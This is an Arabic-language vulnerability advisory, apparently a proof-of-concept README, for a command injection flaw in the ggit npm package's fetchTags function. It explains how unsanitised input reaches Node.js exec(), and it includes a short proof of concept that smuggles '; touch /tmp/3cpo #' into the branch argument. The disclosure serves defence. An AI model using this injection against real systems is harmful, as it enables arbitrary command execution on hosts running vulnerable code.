CVE-2024-21532 ثغرة حقن الأوامر في ggit

يصف ggit نفسه بأنه:

Local promise-returning git command wrappers

الموارد:

• كود مصدر المشروع على GitHub: https://github.com/bahmutov/ggit
• حزمة npm الخاصة بالمشروع: https://www.npmjs.com/package/ggit

مقال عن هذه الثغرة: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability

خلفية عن الاستغلال

أبلغ عن ثغرة حقن أوامر في حزمة ggit npm.

تظهر هذه الثغرة من خلال واجهة برمجة التطبيقات fetchTags(branch) الخاصة بالمكتبة، والتي تسمح بإدخال المستخدم لتحديد الفرع المراد جلبه، ثم تقوم بدمج هذه السلسلة مع أمر git، ثم يتم تمريرها إلى واجهة برمجة التطبيقات غير الآمنة exec() في Node.js لإدارة العمليات الفرعية.

الاستغلال

1. قم بتثبيت [email protected] أو إصدار أقدم
2. أنشئ برهان المفهوم التالي:

const fetchTags = require("ggit").fetchTags;
fetchTags("; touch /tmp/3cpo #").then(function () {
  // should be same as running command
  // git pull origin --tags
  console.log("done");
});

3. لاحظ إنشاء ملف جديد على القرص في /tmp/3cpo

المساهمة

يرجى الرجوع إلى المساهمة للحصول على إرشادات حول المساهمة في هذا المشروع.

المؤلف

Liran Tal